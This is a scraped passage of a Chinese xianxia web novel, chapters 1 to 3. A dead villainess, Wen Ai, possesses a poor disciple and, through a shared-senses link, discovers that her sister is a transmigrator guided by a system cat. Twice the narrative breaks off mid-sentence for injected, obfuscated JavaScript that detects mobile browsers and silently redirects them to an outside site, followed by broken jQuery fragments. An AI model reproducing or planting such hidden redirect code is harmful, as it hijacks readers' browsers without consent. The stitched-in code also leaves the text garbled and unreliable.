《恶女重生后成他们黑月光了》 1. 第 1 章 - 长荼仙山的膳堂,正是春光明媚,金风习习,处处黄鹂枝上啼。 两扇半开的琉璃窗扇内,温艾端着一碗汤清色白的阳春面坐下,加了三勺辣椒油,面不改色地一边吃着,一边盯着自己手中黄藤木的弟子令牌。 令牌上写着两个字:阿伞。 三天前,温艾以为自己重生了,然后……她惊奇地发现自己并不是重生了,而是她自己这只野鬼占据了这个阿伞小姑娘的身子。 俗称鬼上身。 虽然说她在令一众孤魂野鬼羡慕的重生一事上没有做任何努力,但这可能属于老天奶的馈赠吧,她也不想浪费一次重活一世的宝贵机会。 为不暴露恶鬼夺舍,她这几日积极融入阿伞的人生。 在她多方面打听下,大概摸清了阿伞是怎样一个人。 湘西地界穷乡僻壤来的小丫头,貌不惊人的穷光蛋一个,日常就是老实本分抱剑修道。 在长荼仙山这种仙门大宗里,阿伞这种小人物多如牛毛,毫不起眼。 温艾死前的人生高调风光,能亮瞎阿伞这一类人的眼。 然而她风光一生又如何,还不是落得众叛亲离,下场惨烈。 这一世,她侥幸能借阿伞再一次过上一日三餐、月落而眠的生活,对阿伞的人生只剩下至高的敬意。 真的,人生平平淡淡才是真啊。 温艾一面被辣椒痛得嘴角微抽,一面吨吨喝着面汤,粗鲁的吃相让旁边共坐一张长凳上的两个少女同门屡屡皱眉。 少女们坐远一些,似正热火朝天八卦着什么。 “山主与温师姐的成亲大典马上要开始了,听说御剑去朝霞峰,能拿到山主亲自写的贺春符箓还有一些喜果喜糖。” “是吗,那我们赶紧吃完去吧。” “不着急,温师姐为人善良慷慨,不管去的人有多少,她一定不会冷落任何一个弟子的。” 温艾一个人坐在角落,慢慢喝完最后一口热面汤,一个人揉着胀起来的肚子,独自撑腮,欣赏琉璃窗外的浩浩林风,荡荡春光。对普天同庆传遍仙山的婚事无动于衷。 路人口中的温师姐,正是她前世的义姐,温因铃。 而长荼山主,也正是她前世的前夫。 今天,是她的姐姐温因霖,嫁给她那个二手货前夫的大喜日子。 听见路人喋喋不休提起这两人的风光大婚,温艾恨不得把她们嘴巴缝起来。但显而易见她做不到,于是她只能装作没有听见,同时心内一片沧桑。 温艾承认此刻,她心情有一点复杂。 但绝不是出于对绍宋旧情难忘。 或是嫉妒姐姐抢走了她的丈夫。 她只是有一点儿怀疑,自己是不是早在前前前世就已是一个惊世骇俗的恶人,才会成为这两人爱情故事里的一个丑角。 最后潦草下场,不得善终。 * 老实说,温艾是不愿回忆与这两人之间一丝一毫的纠葛的。 她自小被家人骂她感情淡薄,只知贪图好处,争强好胜。她也确实似长在一片玻璃缸里的幼苗,看见风看见雨露阳光,却没有什么真情实感,真正体会,不知什么叫撕心裂肺、不顾一切的爱恨。 因而,在绍宋面前,她过了很久才明白,其实早在进场前,她就已经输给温因铃了。 更何况,长荼山主绍宋心中爱慕的,从来都是她的姐姐。 绍宋与她的姐姐年少江湖历练时相识,似乎是患难之交,情深意笃。他也早在十七岁就向温家提亲定下与她姐姐的婚事。 奈何她的姐姐温柔端庄,落落大方,琴棋书画,论剑问道,样样都好,无一不会。 唯一不会的,就是好好活着。 彼时温家虽然属于玄道门阀世家之列,却因家主丧生川中鬼都之乱,孤儿寡母无力自保,已开始走下坡路。 为借助四十八仙府之首——长荼仙山的势力,延续锦衣玉食的高门风光,温家在长女死后厚着脸皮向山主提出了一个请求。 ——次女替嫁。 绍宋对她姐姐情根深种,按理说,不可能答应如此冒犯无礼的请求。 架不住她姐姐一心为家人着想,死前曾留下一句遗言,望绍宋代她照顾阖府上下老幼。 这一句,为后面绍宋的步步退让,埋下祸根。 那段时间,绍宋为姐姐的丧事往来温府,忙前忙后,身心伤疲。 虽然他保证会在日后扶持温家三子,温礼煜,让他前往仙都跟随名师历练修道,助温家在十年内转颓为荣。 但,温母并不相信男人的承诺。 为彻底绑住举世无双位尊权重、尚在哀恸旧情之中的长荼山主,温母在绍宋饭菜中下药,引他进入荒僻寂静的祠堂,而后在长女崭新的棺材与灵牌前,将精心装扮成长女模样的次女推向了他。 一夜荒唐。 醒来的绍宋面对温家长女无声注视的漆黑牌位,与抱衣红眼低头流泪的温家次女。 明知这一切是温家人的算计陷害,他却强忍怒气,不置一词,咽下苦果。 一顶小轿,晚来山雨飘摇,悄无声息地将温艾接进了长荼仙府。 温艾自十六岁嫁给绍宋,便开始了她高歌猛进作恶多端的一生。 她贪婪敛财,监守自盗,一度搬空长荼内库。 她睚眦必报,斤斤计较,凡是得罪她、不服她、惹怒她的人,最后都被她以一种让人意想不到的方式报复了回去。 她心狠手辣,无恶不作,但凡能达到目的,她什么事情都干得出来。 温艾在位师母十年间,把长荼仙山内门闹得乌烟瘴气。 长荼仙山的长老院一直因她头痛不已。 温艾进山后的第三年,长老院就有不下三位长老因为看不惯她,自愿请命辞职。剩下那一半比较顽强的,暗地里几次三番计划扳倒铲除她。 奈何温艾本身便是玄道门阀温府的掌上明珠,有优越的社交手腕和祖传的斗争经验,她扶植心腹,党羽众多,极难对付。 再加上绍宋纵容她,对她的斑斑劣迹睁一只眼闭一只眼,能掩护就为她掩护,长老院那些吹胡子瞪眼的老头子根本不是她对手,只能看她风光潇洒。 上一世,温艾最后也不是死在那些老头子手上。 是绍宋亲手杀了她。 绍宋狠心杀她,也并不为别的。 她碰了他的逆鳞,而已。 * 不用想也知道,绍宋浑身上下逆鳞唯有一处,就是她的姐姐,温因铃。 那日,温艾无意中得知绍宋这段日子偷偷摸摸背着她筹备的事情,原来是为了复活温因铃。起死回生乃逆天而为,绍宋苦心孤诣筹备了半辈子,在复活温因铃这件事上,他绝对不容有失。 她想,这一日定是绍宋最脆弱的时候。 于是她带着心腹与一众手下马不停蹄杀去了后山荒殿,预备坏他的事。 绍宋震怒不已。 为杀一儆百,震慑温艾其余的棋子,他当场派人抓住温艾,以迅雷不及掩耳之势用三十六枚灵锥刺入温艾体内,将温艾做成稻草人挂在了后山最高的树上。 温艾的鲜血滴在阵法里。 她看着绍宋恨得眼尾抽筋的脸色,难以自控地,莫名其妙地,一边呕血咳嗽一边狂笑不止。 绍宋冷冷看她,仿佛她不可理喻,“为什么?” 他不能理解,温因铃是少年时就功绩累累、最令家人骄傲的温家长女。 也是她温艾温柔爽朗、无微不至的长姐。 更是他心中举世无双、完美无瑕的一轮皎皎明月。 不论从哪个方面去揣摩,绍宋都想不明白为什么世上会有人竟想杀死因铃这般好的一个人。 温艾心说这可说来话长了。 你们爱温因铃,和我恨温因铃,这二者之间有必然联系吗? 温艾死到临头,懒得解释她这辈子心底出于温因铃而过不去的那些事,歪头想了想,用一把咳出鲜血的嘶哑声音,最终给出了一个也许能令绍宋添堵一小会的答案。 “绍宋,你当真不明白吗。” “因为……我才是你的发妻啊。” “你这一生一世,你能爱的人……本该是我温艾,也只能是我温艾。” 绍宋的命是万里挑一的好,他出生在三千仙府里位列前几的绍家仙府,是绍家主脉的嫡长子嫡长孙,年纪轻轻就外出江湖建功立业,在川中鬼都之乱中立下奇功,回来后就继任了长荼仙山山主之位。 他这样的人,没有一点儿自命不凡的毛病,那是不可能的。 他若总以为自己修身立业、待人处事都完美无缺,无可指摘,自然不能理解温艾的怨怒。 为什么他已经百般纵容她的斑斑劣迹,待她仁至义尽了,她还是要反咬他一口呢。 温艾给他编了一个答案:很简单,就因为他没有很好地起到一个丈夫的责任。 她身为他的妻子,固然行事荒唐,可她这样爱他,宁可不要身为仙山师母养尊处优万人之上的生活,也要除掉他背叛她去爱的那个女人。她拼死一搏,众叛亲离,身败名裂,只为在他心里留下一席之地。 这样真心爱他的,至少曾陪伴他十年风雨的发妻,最终痛苦万分地死在了他手上。 就算是一条狗这样没有尊严的死去,都一定够人掉两滴眼泪了。 温艾死到临头,还恶劣心起,玩弄了绍宋一把。 夫妻十年,绍宋对她无意。 她便对他狠心。 只可惜那句话说完,她也没来得及去看绍宋是怎样一副脸色,就头一垂,眼皮一耷拉,横死当场了。 * 温艾一想到自己成也萧何败萧何,上辈子因为温因铃的余荫,过了一遍荣华富贵、骄奢淫逸的瘾,却也因为温因铃的归来,所追求的一切前功尽弃、黄粱梦醒,就生出一股没来由的沧桑感。 但她知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408826|200632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不管怎么感慨,风水轮流转,由东流到西,现在她笑到头了,轮到温因铃笑了。 她也只能顶着她现在这张平淡无奇的脸,继续过她平淡无奇的日子。 不过。 温艾心里嘿嘿冷笑两声,她猜温因铃也笑不了多久了。 毕竟,绍宋的妻子不是那么好当的。长老院也绝不会允许又一个温女骑在他们头上。 温因铃步她的后尘,捡她用过的男人,还不是已经输给她了。 正值仲春,窗外风景实在光辉美好。蓝天白云下燕子衔泥飞过绿柳低处,湖面桃瓣泛起涟漪。 温艾托腮看着,数了一会飞来飞去的大燕子,眼皮逐渐垂落。 她这具身体浊气很重,吃饱了就犯困,正想起身回宿舍午休一会,便见陈年长凳边坐得好好的两个少女突然起身相迎。 在她们对面,一大群身穿竹青色灯笼袖绑带宗袍的同门师姐走来,一堆人聚成一团围在桌边说说笑笑,堵住了温艾的去路。 要搁温艾以前的性子,这几个弟子已经被罚去后山埋尸了。 奈何现在她不是温艾,她是无权无势无颜值无能耐的阿伞。 阿伞是不会与人起冲突的。 温艾也只能若无其事地坐回去,抱臂倚靠在灯烛黯淡的墙壁上闭目养神。 闲来无事,温艾便竖起耳朵偷听人家聊天。——不怪她猥琐,怪只怪这阿伞小姑娘没有一个朋友。她要尽心竭力地演她,便只能成日当一个独来独往的哑巴。这对从前成日呼朋引伴、夜夜无宴不欢的温艾来说是一种很严重的折磨,所以她一有机会就喜欢沾沾路人身上的活人气。 更何况——温艾暗地里提了一口气,这可是绍宋与温因铃的大喜之日,也是她的丧命之日。 绍宋迎娶续弦,这位续弦还是前任山主夫人的姐姐,偌大一座仙山就没有一个懂八卦、有情趣的人……议论议论她温艾吗? 她温艾就算死了十五年,也不至于如此悄无声息了吧。 温艾抱着隐隐的期待,竖起耳朵。 就听一个年长几岁的女弟子笑道:“师妹,你们怎么还在吃饭呢?怎么没去朝霞峰?” 师妹的回答有些可爱,“膳堂的枣泥糕太难抢了,今天终于抢到一份。我们想吃完再去。” 师姐可惜道:“那你们真是捡了芝麻,丢了西瓜了。” 另外一个师姐笑劝:“别说了,山主与师母的拜堂仪式早就结束了,现在还告诉她们做什么。” 两个师妹闻言一阵吃惊,“那我们还能从温师姐那拿到贺春符箓吗?” “是温师母。”师姐们闻言瞬间敛色,一字一句咬着重音,提醒不懂事的小师妹:“师母今日身子不适,写的符箓不多,你们错过了,等下次吧。” 师姐们走后,两个少女看着桌上的核桃枣泥糕,懊恼不已。 一个少女甚至还气哭了。 等桌边终于空无一人,四下也没有人留意,温艾慢吞吞挪过去,瘦白手指捡起盘子里的枣泥糕碎泥,一小块一小块拢起来,捏进嘴里。 嗯,真甜。 真好吃。 温艾舔舐舌尖,满足地眯眯眼。 阿伞小姑娘荷包里没什么零花钱,她老吃阳春面,时间长了,吃得她肚子里的馋虫越来越喜欢叫唤。 这盘枣泥糕害那两个小姑娘哭唧唧。 却让她温艾大饱口福。 看吧,这才不是什么捡了芝麻丢了西瓜,这明明是失之东隅,收之桑榆。 * 温艾吃完饭后甜点,心情好到今日的顶点,她刚起身撩开门帘慢悠悠往外走去,浑身忽然打了一个冷颤,眼前一阵浮光掠影袭来,春日景象扭曲成摇摇晃晃的红烛金辉,似一排尖锐的金针齐刷刷射进她灵台。 她莫名被钉死在了沉浓的黑暗中。 迎面但见连绵不绝的灼目的红。 红得人心慌。 温艾试图挣了挣,却发现自己动不了。 好在眼前渐渐清晰,只见龙凤喜烛上的金箔在烛油滚落下时一同融为细碎金辉,镜面荡漾着一种淡金色的红光,看得人身心温暖,心旷神怡。 这地方似乎是一个洞房。 她一双眼珠子睁着,却不能随心转动,隔着一面绣花绢扇的薄丝看去,看见一个斜着的高大身影俯首走来。 那男人在她面前停下,伸出一只温热的手,用手背蹭走她额上冷湿的汗珠,低声问:“可感觉好些了?” 温艾想说话却张不开口,怔了怔,心下暗道:“这人声音好生耳熟。” 男人在榻边坐下,又用纤长白皙的手指拨了拨她脸侧湿漉漉的碎发,帮她别到耳后根,略有几分粘人地问:“怎么不说话?” 独属于男人的磁沉的声音再一次入耳。 温艾突然意识到什么,一瞬间从脚底板到天灵盖窜上一股凉气,冻得她头皮发麻。 草……草了。 这是绍宋的声音! 2. 第 2 章 - 温艾手足僵硬,口干舌燥,心口似擂鼓重重敲打胸膛,压迫得她喘不过气来。 她死在绍宋的灵锥之下过一次。 经脉俱碎,灵府尽毁。 五脏六腑被搅成了一盘豆腐泥。 所谓不见阎王不掉泪,她现在无法遏制自己这具魂魄对绍宋本能的畏惧。 温艾下意识想缩进被子里,却无法动弹,心下一片惊恐。 却见绍宋伸出一只皮肉匀称、骨感分明的大手来夺她手上的扇子,捏她腕骨内侧薄弱肌肤,似笑非笑地问:“嗯?刚才亲你太狠,生我气了?” 温艾:不对劲,这可太不对劲了。 绍宋和她成亲十年,对她讲话的语气可不曾这么温柔过。 也不会对她说些儿童不宜的话。 更不会对她动手动脚。 更不对劲的事情还在后头—— 温艾听见了第二个人的声音。 那是一个女人的声音,如梨花流水丝滑淌过山间,似鸡蛋里边挑不出骨头,入耳透着一股说不出的温柔绵软。 她下意识好奇这女人是谁,眼角余光越过绍宋的肩膀,正要往镜子里看去。 绍宋却已搂住她肩背,将她抱入怀中。 温艾霎时间心下似电光火石一片明亮,这还用问吗? 和绍宋今日洞房,卿卿我我的,除了她那个该死的姐姐温因铃还能是谁! 果不其然——从明亮的菱花镜里,她看见了一张面若白月、唇如红莲的女人的脸。这女人若论身段样貌,绝对能称得上倾国倾城,万里挑一。 乍一看,温艾几乎错以为是自己。 温艾从小与义姐温因铃有五成像,尤其在下半张脸,菱颌丰唇,唇瓣盈润饱满,似开一半的玫瑰花瓣。 不过她生了一双出奇大的蝴蝶眼,温因铃眉眼则略微寡淡逊色。 如今镜中女人的眼神异常空洞,宛如一个盲人。 温艾看去,才突然想起温因铃变成这个样子,与她脱不了干系。 温艾自小就恨自己与温因铃长得像,经常被母亲弟弟叫错。 温因铃去世后,她半夜守着灵堂前的灵柩,看着温因铃那张脸,突然生出一股恐惧。 温因铃比她先去地府。 若是害九泉之下的父亲与外祖父也更喜欢她,怎么办? 于是,她便恶心一起,剥离了温因铃的眼魂。 眼为魂之窗。 眼中所观世界,即为心之所化。可以说眼、心一体,对于玄道一途而言,没有眼魂之人是绝对无法修道的。 温因铃没了眼魂,认不出她父亲与外祖父,也就抢不走过去她独享过的那份疼爱。 据传眼魂没了后,道士会出现许多异状。 眼下看温因铃的样子,表现在她身上的无疑是最直接的一种——瞎了。 如今温因铃已眉眼失色,不及从前和婉清丽,宛如春日冉冉绿柳枝。 与一向艳若桃花的温艾,区别也大了几分。 其实再看第二眼,便觉她们两个人可谓失之毫厘、差之千里了。 仿佛一个是妈生脸大美人。 一个是白璧有瑕。 现在两人终于不再相似,温艾刚高兴没一会,却又一下萎了。 她眼下顶着阿伞这张貌不惊人、还微有雀斑的脸,连温因铃的十分之一都比不上,高兴个鸡毛啊。 而且,现在是关心这个的时候吗? 温艾暗自呸了自己一声。 她用阿伞的身份行走于世,低调猥琐,不与人争,从未卷入任何一场风波。 为何会莫名被勾来温因铃与绍宋的洞房现场呢? 温艾正百思不得其解,听见温因铃又开了口。 温因铃声线很安静,一字一句地向绍宋解释道:“不是不说话,是第一天做你的妻子,不知道怎么和你说话。” 绍宋语气温和:“你想说什么,说什么便是。” 温因铃回之以一阵沉默。 绍宋不死心,倾身而上搂住温因铃的肩背,透着一丝无奈,“因铃,我们以前无话不说的,你还记得吗?” 温因铃似乎微微一僵。 这边的温艾却也惊恐地发现,她居然感觉到了绍宋手掌握在自己肩膀上的微微力度,惊恐之余一阵恶心。 绍宋对温因铃说的话,正一个字一个字蹦跶进她脑子里。 绍宋凑近时身上的檀香,正一丝一缕钻进她的鼻子。 但她却嗅不到温因铃身上从前便如梅雨天一般烦人的挥之不去的白梅香,只能从镜子里看见温因铃的脸。 温艾脑子里冒出一个想法。 难不成,她这是莫名其妙地与温因铃共感了?! 刹那间,温艾心下一凉,只觉天都塌了。 那以后,绍宋和温因铃同床共枕,做那种事,她也得在现场吗!? 这和没离婚有什么区别? 温艾正想研究一下怎么强行结束共感,就听见温因铃略带歉意道:“以前我们之间的事情……自从温家将我的眼魂换给温艾后,我一件都记不起来了。对不起。” 绍宋一阵沉默。 温因铃重新将扇子扣在脸上,白嫩的脸颊上泌出淡淡汗意,她眼神躲闪,手脚紧绷,似乎有些紧张,哑然叫了一声:“夫君。” 绍宋一怔,语气温柔,“怎么?” 温因铃:“我今天真的不太舒服,可以先不圆房吗?” 绍宋又是一阵沉默。 洞房花烛夜,夫妻俩人却不圆房,未免于礼不合。 尤其绍宋盼这一日盼了十几年,甚至没忍住提前从喜宴上脱身来洞房里找新婚的妻子温存,只是没想到才亲了她一会,她便身子滚烫,额上冒汗。 绍宋眼神晦暗,耳廓到后脖子处一片皮肤鲜红,明显处于汹涌的情动之中,却点点头,放下手臂抽身下床。 隔着大红色坠囍字灯的薄纱床帏,绍宋盯着温因铃看了一会。 似乎期待她会不会对自己说些什么。 却仍是一个字也没有等到。 半晌,他似乎微微叹了一息,转身推门走了。 * 门扇轻轻关上的那一刻,不仅是温因铃顿时放松,温艾与此同时更加松了一大口气。 下一刻,温艾却又因眼前一幕,瞳孔一紧。 大红色的床褥上,一只又小又瘦的橘猫轻盈一跳,出现在温因铃手侧。 “宿主,您差一点就不洁了呜呜。” 这猫夸道:“幸亏您机智,借口找得快。” 温艾认得这只小橘猫,毕竟她们姐妹俩当初还是没出阁的少女,还在温家明争暗斗互使绊子时,温因铃就已腾出一只手养了它好几年。 温因铃死后,这只猫作为她遗物里唯一的活物,被绍宋带回了长荼仙山。 从不玩物丧志的山主大人却把它宠上了天,旁人等闲碰不得,仿佛是他和温因铃亲生的崽崽一般。 大概这一个只知道撒娇卖痴的小畜生也明白自己最大的靠山是绍宋,每一次温艾去找绍宋,它都会蹲伏在绍宋的肩膀上跐牙裂嘴对她哈气。 俨然把她当成恶毒继母,要和她在争宠上一决高下。 温艾一度想摔死、淹死、火烧、犬诀这只猫。 除了记恨温因铃是一方面。 她本身讨厌丑东西,尤其是喜欢针对自己的丑东西,是另一方面。 于是她就这么干了。 所以,一只已经被她弄死的猫,是怎么出现在这个地方的? 猫也能鬼上别的猫的身吗? 想起绍宋成功复活了温因铃的经历,温艾一瞬间有些沉默。 难不成是绍宋为哄温因铃开心而干的? 起死回生乃逆天而行,有损施术者的阳寿,而且会在渡劫时狠狠遭天谴。 绍宋这都能不顾忌。 温艾心内正暗道:恋爱脑真牛,佩服佩服。就听那只死猫一边踩着绸缎被子,一边谄媚地开口了,“宿主恭喜您,您攻略绍宋十五年,终于成亲了。” 温艾清楚地记得,这只畜生没开灵智。 奇怪,它怎么突然会说话了。 还有宿主是什么意思? 难不成……温因铃也被夺舍了? 温艾本来前尘已断,不欲再去关心旧人旧事。但猫嘴里说的每一个字,都让她忍不住调动全身注意力去理解,仿佛隐隐已让她感觉到这关乎她的生死大事一般。 温艾期待着温因铃的回应,却觉手心一片柔滑的绒毛。 原来是温因铃摸了摸小猫的后背。 小猫似乎舒服极了,耸起后背翘起尾巴。 温因铃却心不在焉地收回了手,没给它一个多余的眼神。 就连温艾也看出来了,温因铃心情不大好。小猫立即坐正谄媚问道:“宿主,您是不是想要男人了?” 温因铃不语。 小猫脑子笨,只知一味安慰:“宿主忍一忍,《诛鬼》小说主角团里的梁巽泽是一个极其注重贞洁观念的人,双人初夜是攻略他的必要条件。等您将他拿下,您就可以睡遍任何一个您想睡的男人了。” 温因铃眉头微微一蹙,还是不说话。 小猫急了,“要不,要不小猫帮您踩奶……” 温因铃似觉这只忠心耿耿却蠢笨不堪的猫有些聒噪,她挥手拎住猫脖子将猫丢下床,自己也起身下床,径直走向落地黄梨木架上一整面明亮的菱花镜。 美人照镜,面若中秋之月,色如春晓之花。 奈何一双眼睛,空洞无神。 便似白璧微瑕,美中不足,终有憾。 温因铃声音硬邦邦的,像一个紧绷着的气球,完全没有新婚之人的喜悦满足。 “帮我更新一下绍宋目前的好感度。” 小猫像被摔坏了,变成了一个冷冰冰的机械音答复道:“001正在为宿主检查《诛鬼》小说男主角之一长荼山主绍宋目前的好感度……好感度已查询完毕,目前为93%。” 温因铃有点儿破防一般,尖声问:“多少?!” 机械音:“93%。” 温因铃霎时疯了一般,冷冷笑着,突然抄起一把剪子,手又快又狠地剪碎自己身上描龙绣凤的金贵喜服,一面控制不住似地尖声质问:“我都放弃攻略其他人,选择和绍宋第一个成了亲了,绍宋的好感度居然才93%……为什么?你告诉我到底是哪里出了问题?” 机械音:“宿主请注意,《诛鬼》小说女主人设为温柔慈悲、蕙质兰心的白月光。您目前偏离值为1%,若偏离值持续提高,将给您的攻略造成无法挽回的损坏。” 温因铃胸膛起伏,似在努力遏制不快,陷入了漫长的沉默。 等她终于恢复,她才脸色煞白地问道:“帮我检测,好感度卡在瓶颈期的原因。” 机械音:“正在为宿主判断……最大原因可能为——温艾。” 温艾:“?” 等等,你们刚才在说什么? 合着你温因铃栓不住男人的心,怪我是吧? 温艾心内正骂骂咧咧,忽然想到自己前世死前干的好事: 在绍宋杀死自己之前,她送了绍宋两句杀人诛心的话。 ——“因为我才是你的发妻。” ——“你爱的人,本该是我温艾,也只能是我温艾。” 不会就是因为这两句话,让绍宋心里始终对她于心有愧,有一个心结,所以没法完全爱上温因铃吧。 温因铃没有细问,仿佛没有把温艾放在眼里,又冷冷道:“进这个世界前,穿书局对《诛鬼》小说攻略难度判断为两颗星。” “也是你001亲口和我说,只需在恶毒女配温艾下线以后,由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408827|200632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我来一个个救赎她坑害过的人,走完诛鬼救世的成神之路,就能成功攻略主角团所有人。我不知道你们是怎么搞的,一个已经下线的小小女配却能占据主角团足足27%的好感。” “这是你们的责任。”温因铃最后下结论,强硬道:“温艾下线之前本该让所有人对她的好感度为负数,再让我穿书进来。” “我不管你们怎么处理。总之,你们必须给我一个交待。” 机械音:“这是穿书局的漏洞。给宿主带来不便非常抱歉。” “但因为该世界目前仅有001独自维护,权限不足以控制主角团对其他角色的好感度。” “还请宿主在攻略之路自行解决问题,如有其他,请……” 温因铃像是已经经历过无数次这场对白,脸色逐渐不耐,到了最后径直打断,冷声道:“行,我自己攻略绍宋和其他人。” “但你们给我一点补偿总可以吧?” 机械音:“宿主请说。” 温因铃狮子大开口:“这个世界的功法修炼太繁巨漫长了,我做不到一边走感情一边走剧情,帮我把修为拉到顶级。” 机械音:“正在为宿主向穿书局发送服务请求……已获批,宿主人设已调整为全书顶级——化神境大能。” 温艾:??? 这什么玩意,唬温因铃的吧。 温因铃不会真以为自己能一秒变成化神境吧? 要知道她温艾上辈子光鲜亮丽活了一世,万人之上叱咤风云,靠各种天材地宝加上勤修苦练,也才堪堪摸到一点化星境的门槛。 泱泱大千世界,九州有四十八仙府、六百仙山,修仙问道者如过江之鲫。 化神境大能如绍宋者,却是屈指可数。 她终归在道行方面,矮绍宋一个头,才会惨死在绍宋手底下。 开玩笑。 要是化神境那么好登临,温因铃还听那个猫妖的,给人家做什么老婆。 不该那些男的给她做老婆吗? 温艾冷笑连连,没想到下一刻突然山风冰冷扑面,卷起她额上碎发—— 只见温因铃正倚窗而站,晴空万里的窗前,忽然风云如怒,阴沉天幕下,山林波涛滚滚。 温因铃细白手指上,一缕至臻至纯的灵息萦绕未散,半边天幕上方欲落不落的乌云已然被她勾指拉下,听凭她的心情,转瞬竟落下来一场电闪雷鸣的倾盆大雨。 正在蓝天白云下吃喜酒的宾客一惊,对喜怒无常的天气摸不着头脑,纷纷打伞避入廊下。 绍宋只怕也没想到自己新婚之日的千里长棚,顷刻间竟被一场大雨吹散尽。 “嘭——”温因铃不耐烦地关上门扇,似真的对这场婚礼并无多少喜悦。哪怕是借机敲了穿书局一笔,但与新婚丈夫同床异梦、攻略进度滞缓的事也弄得她一直心情好不起来,她再一次步入床帷后。 * 眉心一枚冰冷的雨珠落下。 温艾眼前黑暗散尽,大雨瓢泼,打得附近两岸的桃花萎靡,河水肉眼可见涨高了一尺。 温艾下意识伸手摸了摸自己湿漉漉的脸孔,低矮的鼻梁,单眼皮,扁平的面颊,猛然松了一口气。 她如今是阿伞。 从与温因铃的共感里结束的、平平无奇的阿伞。 如果说之前温因铃和猫妖的对话,她还能勉强理解成温因铃神智错乱了,那温因铃实打实的这一招化神境才有能力使出的呼风唤雨,则让温艾信了十成。 这……真的。 太炸裂了。 她真在一本小说里啊! * 冰凉的雨珠狠狠拍在身上,温艾却一个人站在雨地里,分秒必争地把温因铃与猫妖的对话,逐字逐字拆解透彻。 ——所以,也就是说她温艾,曾经万人之上、不可一世的长荼仙山师母,玄道门阀温家的掌上明珠,一朝功败垂成令长老院讳莫如深的仙山副君,到头来不过是一本小说《诛鬼》里的恶毒女配。 一个很快就会被世人遗忘的,不值一提的,女配。 很快,她的姐姐就会踩着她昔日的恶劣事迹,步步走上神坛,成为普照世人的白月光。 她的姐姐将那些被高高在上、宛若神明的男人们捧在手心里。 那些曾经对她不屑一顾、百般唾弃的世人,会爱慕追捧她的姐姐,视她的姐姐为救世主。 温家双姝。 从此一个遗臭万年,一个流芳百世。 温艾深吸一口气,不要急,让她想想从哪里骂起比较合适。 这个草台班子一样的世界,怎么就她知道温因铃是一个贱人啊? * 温艾整理了一下心情。 理智回笼以后,她又很快想到了一个关键,话说回来,她不是已经作了所有能作的死,也已经不负众望地死了吗?她既然只是一本小说里的女配,接下来的剧情又用不到她了,她为什么又借鬼上身回来了呢? 而且,温因铃与穿书局似乎还不知道她复活的事情。 要是温因铃知道她已经复活,为了摧毁绍宋对她残留的27%的好感度,温因铃估计不计会一切手段设计让她作恶,令她自毁,害她颜面尽失。 就像以前在温家,童年时的温因铃一点点夺走母亲与弟弟对她的关心喜爱一样。 温因铃绝对会成功毁掉她在绍宋心中最后一点美好的记忆。 温艾打了一个哆嗦。 倒不是她有多稀罕绍宋的好感,而是长荼仙山是绍宋的地盘,得罪绍宋,等于死无葬身之地。 她上辈子已经死在绍宋手底下一次了,非常痛苦,不想回忆。可不敢再体验第二次了。 不管温因铃和那个劳什子的穿书局准备对绍宋他们干什么,反正她是绝对不会搅和进去的。 总之! 当务之急,就是先离温因铃远远的! 3. 第 3 章 - 温艾本来在长荼仙山浑水摸鱼摸得好好的,因为下午这一出共感让她惊吓不小。 她淋了一路的大雨回到弟子宿舍,旁人见她失魂落魄,对她多有侧目,但没一个停下关心的。——说实话,也多亏阿伞小姑娘平日孤僻沉默,存在感弱的宛如路边的一枚石子,不与同窗来往,不然她慌慌张张消失跑路,肯定不出几日就会被人觉察。 阿伞空间戒里一贫如洗,宿舍也没什么值钱的东西,但人生在世吃饭穿衣入世修道样样要钱,温艾抱着一丝侥幸回屋,将门一关,便开始翻箱倒柜地寻找私房钱。 没想到,竟然……只翻出了三个铜板。 三个铜板,能干什么。 对于从小养在富贵锦绣堆里、不知柴米油盐酱醋茶的温家二小姐温艾来说,不清楚一点儿。 但对于执掌仙山内库、曾坐拥金山银山的前任长荼师母温艾来说,还是明白一点点的。 那就是什么都干不了。 温艾拿着三个铜板,发了一回呆,窗外白雨跳珠,墙壁霉斑湿腻。 这种鬼天气,让人踏出屋门的勇气都没有。更别说让她身无分文的情况下出山跑路了。 温艾不死心,没钱是吧,那总可以找到一点灵宝、符篆、经书,变卖啊。 谁料阿伞小姑娘看着是个老实人,在生活上却很大胆,这间宿舍几乎称得上家徒四壁,除了床榻桌椅,书柜上就只剩下几本蠹虫腐蚀的经书。 温艾绝望地掂掂经书,书页掉了一地。 得了,没招了。 温艾拿着三枚铜板,看着一地泛黄纸页,无话可说。 很快发现跑路一事不能着急、得从长计议后。 温艾果断选择了……躺平睡觉。 首先,熬夜会变丑,变胖。 其次,还会掉头发。 最后,最严重的还会弄垮身体。 温艾不管自己现在长得有多平平无奇,身躯资质有多不堪一击。 她只知道要想快乐顺遂、平安无虞地活下去,光靠黄白之物是远远不够的,身体才是革命的本钱。 早睡早起! 从我做起! 温艾正要走向床榻,脚底似乎踩到一个东西,一小块,扁平而硬邦邦的。 她用脚尖扒开纸页,低头一看,只见那是一个黄色的三角纸团。 雨夜漫漫,闲的无聊,温艾捡起纸团捏在手指间一转,起初她还以为那是一个平安符,后来将纸团拆散了,倒令她吃了一惊。 这是一张咒纸。 